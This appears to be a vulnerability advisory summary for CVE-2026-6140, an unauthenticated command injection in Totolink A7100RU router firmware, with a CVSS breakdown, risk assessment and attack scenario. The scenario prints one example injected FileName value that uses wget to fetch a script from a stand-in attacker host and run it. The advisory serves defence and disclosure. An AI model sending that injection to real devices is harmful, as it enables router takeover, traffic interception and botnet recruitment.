A7100Ru CVE-2026-6140

Remote unauthenticated attacker can exploit Totolik A7100RU firmware version 7.4cu.2313_b20191024 by sending a crafted POST request to /cgi-bin/cstecgi.cgi with manipulated FileName parameter in UploadFirmwareFile function. No authentication or user interaction required.

Real-world risk is HIGH to CRITICAL based on multiple converging signals. CVSS 9.8 reflects maximum severity with network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The CVSS temporal metrics show proof-of-concept exploit exists (E:P) and remediation level unavailable (RL:X), confirming exploitability. Public exploit code exists on GitHub, significantly lowering the skill barrier for attackers and enabling automated scanning/exploitation. The unauthenticated remote attack vector means any internet-exposed device is vulnerable without requiring credentials or social engineering. While EPSS probability is not provided and no CISA KEV listing confirms active exploitation campaigns, the combination of critical impact, trivial exploitation requirements, public POC availability, and the high-value target nature of network infrastructure devices creates substantial real-world risk. Router vulnerabilities are frequently targeted for botnet recruitment, traffic interception, and lateral movement into connected networks. The absence of vendor patch information (RL:X) extends exposure window indefinitely for deployed devices.

An unauthenticated remote attacker scans internet-facing IP ranges for Totolink A7100RU routers exposing the web management interface on standard HTTP/HTTPS ports. Upon identifying a vulnerable device, the attacker crafts a malicious HTTP POST request to /cgi-bin/cstecgi.cgi targeting the UploadFirmwareFile function, injecting shell metacharacters into the FileName parameter such as '; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m;'. The vulnerable CGI handler executes this injected command with root privileges, downloading and executing attacker-controlled malware that establishes persistent backdoor access, modifies DNS settings to redirect traffic, or recruits the device into a DDoS botnet. Public exploit code exists on GitHub, enabling script-kiddie level attackers to automate mass exploitation.